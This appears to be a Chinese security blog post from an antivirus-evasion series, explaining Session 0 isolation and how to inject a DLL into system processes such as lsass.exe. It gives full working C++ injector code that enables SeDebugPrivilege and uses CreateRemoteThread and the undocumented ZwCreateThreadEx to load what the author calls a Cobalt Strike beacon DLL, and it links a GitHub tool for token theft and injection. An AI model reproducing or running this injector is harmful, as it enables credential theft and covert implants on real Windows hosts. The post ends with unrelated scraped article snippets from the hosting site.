免杀笔记 ---> Session0--DLL注入

刚更新完上一篇,于是我们就马不停蹄的去跟新下一篇!!  Session0注入

 :: 各位看官如果觉得还不错的可以给博主点个赞💕💕

这次,我把这个脚本直接传到Github上了 喜欢的师傅点个Star噢 (❤ ω ❤)

whoami-juruo/DLLInjectTools: 一款集成了窃取令牌和从Session0和3进行DLL注入的工具。 (github.com)icon-default.png?t=N7T8https://github.com/whoami-juruo/DLLInjectTools?tab=readme-ov-file

目录

1.注不了系统进程

2.Session0隔离

3.Getsystem? ✔✔

4.Session0注入

CreateRemoteThread


1.注不了系统进程

我上一篇的Blog提供了一个DLL注入的脚本,当时我们注入的是Notepad++这个普通进程,不过这不是我们想要的啊!!!     哈哈哈哈,让我再引用一下我上一篇Blog

那我们尝试来注入一下Lsass进程 ?  Lsass进程可是一个系统进程,我们电脑的明文密码就写在了这个进程里面(这个我之前讲过,如果好奇的可以看看我以前的Blog)

那么我们尝试注入一下??  好家伙,直接连句柄都获取不了

那么我们以管理员的身份开启一下CMD来注入一下(过一下UAC看看)?? 

还是连句柄都获取不了,所以我们就要换代码!!

2.Session0隔离

首先我们来了解一下什么是Session0

在计算机领域中,"Session 0" 是指操作系统中运行的系统级别会话。具体来说,它通常指的是 Windows 操作系统中的服务会话。

更好的解释就是

在 Windows 中,用户登录后会创建一个交互式会话(Interactive Session),这是用户可以看到和操作的桌面环境。然而,有一些服务和系统进程不需要用户交互式桌面,它们在一个不可见的系统级别会话中运行,这个会话被称为 Session 0。

那么为什么我们就算是管理员也注入不了Lsass进程呢?

权限不足即使你以管理员权限运行,仍然可能无法对 lsass.exe 进行 DLL 注入。这是因为管理员权限虽然可以进行许多操作,但某些系统关键进程可能需要更高级别的特权或专门的权限才能进行修改.

其中上面提到的更高级别的特权或者专门的权限就是System权限!!! 但是其实如果我们能过UAC或者是administrator的话,就已经是SYSTEM了!!! 

3.Getsystem? ✔✔

我相信大家一定在提权的时候(无论是在CS,MSF)上都试过直接Getsystem!!!! 那么它的原理是什么呢 ? 其实就是窃取令牌(我在在内网的权限提升的时候讲过)

只有administrator或者过了UAC的普通管理员才能窃取SYSTEM令牌!!

不信我们来试试,我们分别上线一个没过UAC,和一个过了UAC的普通管理员

   *代表过了UAC

然后我们先用普通管理员进行Getsysten!!

可以看见直接Failed了!!!

那么我们去过了UAC的管理员那里Getsystem试一下? 这时候我们就是SYSTEM权限

其实它就是通过下面这段代码来窃取令牌(提权)

BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}

对于SYSTEM权限,我们是可以随便注入的!!! 不信我们在我们的脚本上面插入这个提权脚本

#include<iostream>
#include<tchar.h>
#include<Windows.h>
#include<Tlhelp32.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")BOOL EnableDebugPrivilege()
{HANDLE hToken;BOOL fOk = FALSE;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)){TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);fOk = (GetLastError() == ERROR_SUCCESS);CloseHandle(hToken);}return fOk;
}DWORD GetProcessPID(LPCTSTR lpProcessName)
{DWORD Ret = 0;PROCESSENTRY32 p32;HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (lpSnapshot == INVALID_HANDLE_VALUE){printf("	[-] 获取进程快照失败,请重试! Error:%d", ::GetLastError());return Ret;}p32.dwSize = sizeof(PROCESSENTRY32);::Process32First(lpSnapshot, &p32);do {if (!lstrcmp(p32.szExeFile, lpProcessName)){Ret = p32.th32ProcessID;break;}} while (::Process32Next(lpSnapshot, &p32));::CloseHandle(lpSnapshot);return Ret;
}void DLLInject(DWORD pid,LPCWSTR dllpath)
{//1.获取句柄HANDLE OriginalProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);if (OriginalProcessHandle == NULL){cout << "	[-] Get TargetProcessHandle Failed :(" << endl;if (EnableDebugPrivilege() == TRUE){cout << "	[-] Is This EXE Opened? :(" << endl;}else {cout << "	[-] Please Run This Under Administrator Role :(" << endl;}return;}else {cout << "	[*] Get OriginalProcessHandle Successfully :)" << endl;}//2.远程申请内存DWORD  length = (wcslen(dllpath) + 1) * sizeof(TCHAR);PVOID  RemoteMemory = VirtualAllocEx(OriginalProcessHandle, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (RemoteMemory == NULL){cout << "	[-] VirtualAlloc Address Failed :(" << endl;return;}else {cout << "	[*] VirtualAlloc Address Successfully :)" << endl;} //3.将CS上线的DLL写入内存BOOL WriteStatus = WriteProcessMemory(OriginalProcessHandle,RemoteMemory,dllpath,length,NULL);if (WriteStatus == 0){cout << "	[-] Write CS's DLL Into Memory Failed :(" << endl;return;}else{cout << "	[*] Write CS's DLL Into Memory Successfully :)" << endl;}//4.获取LoadLibrary地址FARPROC FunctionHandle = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");//5.创建线程HANDLE RemoteHandle = CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)FunctionHandle, RemoteMemory,0,NULL);if (RemoteHandle == NULL){cout << "	[-] Create Remote Thread Failed :(" << endl;return;}else {cout << "	[*] Create Remote Thread Successfully :)" << endl;}//6.等待线程结束WaitForSingleObject(RemoteHandle, -1);//7.释放DLL空间VirtualFreeEx(OriginalProcessHandle, RemoteMemory, length, MEM_COMMIT);//8.关闭句柄CloseHandle(OriginalProcessHandle);cout << "	[*] DLL inj&ct successfu11y !! Enj0y Hacking Time :) !" << endl;
}int main()
{HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN);  cout << endl<<"	    Under the sun,there is no secure system!!"<<endl<<"	        Scripted By Whoami@127.0.0.1  :》" << endl;if (EnableDebugPrivilege() == TRUE){cout << "-----------------------------!!START!!--------------------------------" << endl;cout << "	[*] Privilege Elevated Successfully, Now You Have Bypassed UAC :) " << endl;}else {cout << "-----------------------------!!START!!--------------------------------" << endl;cout << "	[-] Privilege Elevated Failed, You Haven't Bypassed UAC :( " << endl;}DWORD PID = GetProcessPID(L"lsass.exe");  //必须小写DLLInject(PID, L"C:\\Users\\ASUS\\Desktop\\inject.dll");return 0;
}

然后我们直接以管理员权限运行!(当然,你的DLL得写绝对路径)

4.Session0注入

上面的方法确实可以注入高权限的进程,但是不是我们今天的主题捏!!  我们今天的主题是Session0的注入,虽然说Session0注入也是要提升到System权限,但是这两个注入是有本质区别的!!!  所以我们还是开始我们今天的Session0注入吧!!! 

CreateRemoteThread

我们众所周知,我们的CreateRemoteThread这个函数他是这样进入0环的

  • 在64位下,首先将他扩展成CreateRemoteThreadStub(八个参数)
  • 然后去到KernelBase.dll中寻找CreateRemoteThreadEx这个API
  • 再通过一众的跳步之后,我们就在NTdll中找到NTCreateThreadEx这个最终的API
  • 然后直接通过SysCall进入内核层再去SSDT表

所以我们就可以直接用一个更加底层的函数!!!  ZwCreateThreadEx

研究发现,CreateRemoteThread底层会调用内核函数ZwCreateThreadEx,而系统调用此函数时,如果发现时系统进程,会把函数的第七个参数CreateSuspended设置为1,导致线程创建完成后会一直处于挂起状态,无法恢复运行,导致注入失败。所以我们可以手动调用ZwCreateThread这一内核函数!

其中,ZwCreateThreadEx是一个未文档化的API,所以我们需要手动声明

#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);

所以其实我们的流程都是差不多的,只不过要转换函数罢了,这我们就对昨天的代码直接进行更改了(我想偷懒

#include<iostream>
#include<tchar.h>
#include <cstring>
#include<Windows.h>
#include<Tlhelp32.h>
#include <cctype> 
using namespace std;
#pragma comment(linker, "/section:.data,RWE")BOOL EnableDebugPrivilege()
{HANDLE hToken;BOOL fOk = FALSE;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)){TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);fOk = (GetLastError() == ERROR_SUCCESS);CloseHandle(hToken);}return fOk;
}DWORD GetProcessPID(LPCTSTR lpProcessName)
{DWORD Ret = 0;PROCESSENTRY32 p32;HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (lpSnapshot == INVALID_HANDLE_VALUE){printf("	[-] 获取进程快照失败,请重试! Error:%d", ::GetLastError());return Ret;}p32.dwSize = sizeof(PROCESSENTRY32);::Process32First(lpSnapshot, &p32);do {if (!lstrcmp(p32.szExeFile, lpProcessName)){Ret = p32.th32ProcessID;break;}} while (::Process32Next(lpSnapshot, &p32));::CloseHandle(lpSnapshot);return Ret;
}void DLLInject(DWORD pid, LPCWSTR dllpath)
{//1.获取句柄HANDLE OriginalProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if (OriginalProcessHandle == NULL){cout << "	[-] Get TargetProcessHandle Failed :(" << endl;if (EnableDebugPrivilege() == TRUE){cout << "	[-] Is This EXE Opened? :(" << endl;}else {cout << "	[-] Please Run This Under Administrator Role :(" << endl;}return;}else {cout << "	[*] Get OriginalProcessHandle Successfully :)" << endl;}//2.远程申请内存DWORD  length = (wcslen(dllpath) + 1) * sizeof(TCHAR);PVOID  RemoteMemory = VirtualAllocEx(OriginalProcessHandle, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (RemoteMemory == NULL){cout << "	[-] VirtualAlloc Address Failed :(" << endl;return;}else {cout << "	[*] VirtualAlloc Address Successfully :)" << endl;}//3.将CS上线的DLL写入内存BOOL WriteStatus = WriteProcessMemory(OriginalProcessHandle, RemoteMemory, dllpath, length, NULL);if (WriteStatus == 0){cout << "	[-] Write CS's DLL Into Memory Failed :(" << endl;return;}else{cout << "	[*] Write CS's DLL Into Memory Successfully :)" << endl;}//4.获取LoadLibrary地址FARPROC LoadLibraryHandle = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");//5.声明ZwCreateThreadEx函数
#ifdef _WIN64typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnkown);
#elsetypedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,BOOL CreateSuspended,DWORD dwStackSize,DWORD dw1,DWORD dw2,LPVOID pUnkown);
#endif//6.获取NTDLL中ZwCreateThreadEx函数typedef_ZwCreateThreadEx  ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwCreateThreadEx");if (ZwCreateThreadEx == NULL){cout << "	[-] Get ZwCreateThreadEx Address Failed :(" << endl;return;}else {cout << "	[*] Get ZwCreateThreadEx Address Successfully :)" << endl;}//5.创建线程 ring3调用CreateRemoteThreadHANDLE RemoteHandle = CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryHandle, RemoteMemory, 0, NULL);if (RemoteHandle == NULL){cout << "	[-] Ring3 Thread Inject Failed :(" << endl;return;}else {cout << "	[*] Ring3 Thread Inject Successfully :)" << endl;}//7.创建线程  ring0调用ZwCreateThreadExHANDLE hRemoteThread;DWORD Status = 0;Status = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, OriginalProcessHandle, (LPTHREAD_START_ROUTINE)LoadLibraryHandle, RemoteMemory, 0, 0, 0, 0, NULL);if (Status == NULL){cout << "	[*] Ring0 Thread Inject Successfully :)" << endl;}else{cout << "	[-] Ring0 Thread Inject Failed :(" << endl;return;}WaitForSingleObject(RemoteHandle, -1);//8.释放DLL空间VirtualFreeEx(OriginalProcessHandle, RemoteMemory, length, MEM_COMMIT);//9.关闭句柄CloseHandle(OriginalProcessHandle);CloseHandle(ZwCreateThreadEx);cout << "	[*] DLL inj&ct successfu11y !! Enj0y Hacking Time :) !" << endl;
}int _tmain(int argc, TCHAR* argv[])
{HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_BLUE);if (argc == 3) {std::cout << "▓█████▄  ██▓     ██▓     ██▓ ███▄    █  ▄▄▄██▓▓▓▓█████  ▄████▄  ▄▄▄█████▓\n";std::cout << "▓██▓ ██▌▓██▓    ▓██▓    ▓██▓ ██ ▓█   █    ▓██   ▓█   ▓ ▓██▓ ▓█  ▓  ██▓ ▓▓\n";std::cout << "▓██   █▌▓██▓    ▓██▓    ▓██▓▓██  ▓█ ██▓   ▓██   ▓███   ▓▓█    ▄ ▓ ▓██▓ ▓▓\n";std::cout << "▓▓█▄   ▌▓██▓    ▓██▓    ▓██▓▓██▓  ▓▌██▓▓██▄██▓  ▓▓█  ▄ ▓▓▓▄ ▄██▓▓ ▓██▓ ▓ \n";std::cout << "▓▓████▓ ▓██████▓▓██████▓▓██▓▓██▓   ▓██▓ ▓███▓   ▓▓████▓▓ ▓███▓ ▓  ▓██▓ ▓ \n";std::cout << " ▓▓  ▓ ▓ ▓▓▓  ▓▓ ▓▓▓  ▓▓▓  ▓ ▓▓   ▓ ▓  ▓▓▓▓▓   ▓▓ ▓▓ ▓▓ ▓▓ ▓  ▓  ▓ ▓▓   \n";std::cout << " ▓▓  ▓ ▓ ▓ ▓  ▓▓ ▓ ▓  ▓ ▓ ▓▓ ▓▓   ▓ ▓▓ ▓ ▓▓▓    ▓ ▓  ▓  ▓  ▓       ▓    \n";std::cout << " ▓ ▓  ▓   ▓ ▓     ▓ ▓    ▓ ▓   ▓   ▓ ▓  ▓ ▓ ▓      ▓   ▓          ▓      \n";std::cout << "   ▓        ▓  ▓    ▓  ▓ ▓           ▓  ▓   ▓      ▓  ▓▓ ▓                \n";std::cout << " ▓                                                     ▓                    \n";SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);cout << endl << "	    Under the sun,there is no secure system!!" << endl << "	        Scripted By Whoami@127.0.0.1  :》"<<endl<<"	          Color Picked By Icy Water :)" << endl;if (EnableDebugPrivilege() == TRUE){//cout << "-----------------------------!!START!!--------------------------------" << endl;cout << "	[*] Privilege Elevated Successfully, Now You Have Bypassed UAC :) " << endl;}else {cout << "-----------------------------!!START!!--------------------------------" << endl;cout << "	[-] Privilege Elevated Failed, You Haven't Bypassed UAC :( " << endl;}DWORD PID = GetProcessPID(argv[1]);  //必须小写DLLInject(PID, argv[2]);}else{cout << "	[-] Two Parameters are required" << endl;}return 0;
}

这里小编也把扔到Github上了,如果喜欢的兄弟萌也可以下来玩一玩噢!! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/43523.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深入理解JS中的防抖节流

在Web开发中,防抖(Debouncing)和节流(Throttling)是两种常用的优化技术,用于提高页面性能和用户体验。它们通过限制函数执行的频率来减少计算资源的消耗,尤其是在处理频繁触发的事件时,如窗口大小调整、滚动、键盘输入等。 1、防抖(Debouncing) 防抖技术的核心思想是…

风景园林工程设计乙级资质业绩要求案例分析

项目数量与规模 数量要求&#xff1a;企业需要提供一定数量的已完成风景园林设计项目案例&#xff0c;这个数量可能依据具体政策而有所不同&#xff0c;但通常需要完成多个项目以展示设计团队的综合能力。 规模要求&#xff1a;项目规模需达到乙级资质标准所规定的级别&#…

【C++报错已解决】Dangling Pointer

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 文章目录 引言一、问题描述1.1 报错示例1.2 报错分析1.3 解决思路 二、解决方法2.1 方法一&#xff1a;使用智能指针2.2 方法二…

本地部署,GFPGAN: 实用的面部修复算法

目录 什么是 GFPGAN&#xff1f; 技术原理 主要功能 应用场景 本地安装 运行结果 结语 Tip&#xff1a; 在图像处理和计算机视觉领域&#xff0c;面部修复是一个重要且具有挑战性的研究方向。随着深度学习技术的不断进步&#xff0c;许多新的算法被提出&#xff0c;用于…

C# 根据日期对mysql数据库数据筛选的一些操作函数

在C#中,根据日期筛选MySQL数据库中的数据是一个常见的操作。以下是一些基于日期的数据筛选操作函数示例: 1. 筛选特定日期的数据 public List<YourDataType> GetDataBySpecificDate(DateTime specificDate) {List<YourDataType> dataList = new List<YourDa…

Python8:线程和进程

1.并发和并行 并发&#xff1a;在逻辑上具备同时处理多个任务的能力&#xff08;其实每时刻只有一个任务&#xff09; 并行&#xff1a;物理上在同一时刻执行多个并发任务 2.线程与进程 一个进程管多个线程&#xff0c;一个进程至少有一个线程 python多线程是假的&#xf…

【漏洞复现】docassemble——interview——任意文件读取

声明&#xff1a;本文档或演示材料仅供教育和教学目的使用&#xff0c;任何个人或组织使用本文档中的信息进行非法活动&#xff0c;均与本文档的作者或发布者无关。 文章目录 漏洞描述漏洞复现测试工具 漏洞描述 docassemble 是一款强大的开源工具&#xff0c;它让自动化生成和…

linux_进程概念——理解冯诺依曼体系结构

前言&#xff1a; 本篇内容是为了让友友们较好地理解进程的概念&#xff0c; 而在真正了解进行概念之前&#xff0c; 要先了解一下冯诺依曼体系结构。 所以博主会先对冯诺伊曼体系结构进行解释&#xff0c; 然后再讲解进程的概念。 ps&#xff1a; 本篇内容适合了解一些linux指…

openfoam生成的非均匀固体Solid数据分析、VTK数据格式分析、以及paraview官方用户指导文档和使用方法

一、openfoam生成的非均匀固体Solid数据分析 对于Solid/dealii-output文件&#xff0c;固体的数据文件&#xff0c; # vtk DataFile Version 3.0 #This file was generated by the deal.II library on 2024/7/10 at 9:46:15 ASCII DATASET UNSTRUCTURED_GRIDPOINTS 108000 do…

go1.21版本后,文件加载顺序

总结 显式引入&#xff1a; 同一个文件显式引入一个包&#xff0c;按照页面代码执行的函数的先后&#xff0c;来执行该函数的文件&#xff0c;不按照包内的文件首字母顺序 隐式引入&#xff1a; 同一个文件内隐式引入一个包&#xff0c;包内的多个文件会按照文件首字母顺序执行…

移动端 图片优化

项目场景&#xff1a; 在移动端开发&#xff0c;加载图片并保持图片不变形是非常重要的&#xff0c;也是一名前端必备和经常打交道的内容。以下是自己对图片加载是变形的处理&#xff1f; 问题和解决方法 移动端加载图片&#xff0c;不同的手机&#xff0c;图片的展示不一样&…

二分查找理论及例题

二分查找&#xff08;Binary Search&#xff09;是一种常用的搜索算法&#xff0c;用于在有序数组中快速查找目标值。以下是二分查找的详细理论知识、优缺点以及适用场景&#xff1a; 理论知识&#xff1a; 基本原理&#xff1a;二分查找通过比较目标值与数组的中间元素&#x…

Qt(五)网络编程

文章目录 一、QTcpServer类&#xff08;一&#xff09;使用&#xff08;二&#xff09;示例1. 服务端2. 客户端&#xff1a; 二、 一、QTcpServer类 QTcpServer类用于监听客户端的连接&#xff0c;每当有一个客户端连接到服务端&#xff0c;都会生成一个新的QTcpSocket对象与客…

【每日一练】python面对对象的基本概念和用法(附实例)

面向对象编程&#xff08;OOP&#xff09;是一种程序设计方法&#xff0c;其基本概念包括对象、类、继承和封装。 对象&#xff1a;对象是系统中的基本单位&#xff0c;用于描述客观事物。每个对象包含一组属性和对这些属性进行操作的方法。对象是类的一个实例&#xff0c;具有…

Spark SQL----NULL语义

Spark SQL----NULL语义 一、比较运算符中的空处理二、逻辑运算符中的空处理三、表达式中的空处理3.1 null-intolerant表达式中的空处理3.2 可以处理空值操作数的空处理表达式3.3 内置聚合表达式中的空处理 四、WHERE、HAVING和JOIN子句中的条件表达式的空处理五、在GROUP BY和D…

Camera Raw:直方图

Camera Raw 的直方图 Histogram面板不仅提供了照片亮度和色彩分布信息&#xff0c;还具备多项实用功能&#xff0c;辅助评估和调整照片。 ◆ ◆ ◆ 直方图的构成 直方图是一个二维坐标系统&#xff0c;横坐标表示不同程度的像素亮度&#xff0c;从左到右通常对应的是 0 ~ 255…

升级springboot3.2集成shiro的问题

由于之前的springcloud相关版本太久&#xff0c;很多新功能无法使用&#xff0c;所以打算抽时间把代码的版本做一下升级。使用最新版的springboot3.2&#xff0c;发现shiro过滤器无效。经检查发现原因&#xff1a; springboot3.x使用的是JDK17&#xff0c;从jdk8以后javax.serv…

视频智能解析:Transformer模型在视频理解的突破性应用

视频智能解析&#xff1a;Transformer模型在视频理解的突破性应用 随着人工智能技术的飞速发展&#xff0c;视频理解已成为计算机视觉领域的一个热点问题。Transformer模型&#xff0c;以其在处理序列数据方面的强大能力&#xff0c;已经被广泛应用于视频理解任务中。本文将深…

Github 2024-07-11 Go开源项目日报 Top10

根据Github Trendings的统计,今日(2024-07-11统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Go项目10Solidity项目1Python项目1frp: 一个开源的快速反向代理 创建周期:2946 天开发语言:Go协议类型:Apache License 2.0Star数量:75872 …

Spring的bean的生命周期——bean的创建与销毁

1、生成类信息map 扫描包&#xff0c;用asm技术获取类信息&#xff0c;打了ComponentScancomponentservice等注解的类会放入map。key是类名&#xff0c;value是beanDefinition类的基本信息 2、加载类 context.getBean("userService") 从类信息map中获取beanDefin…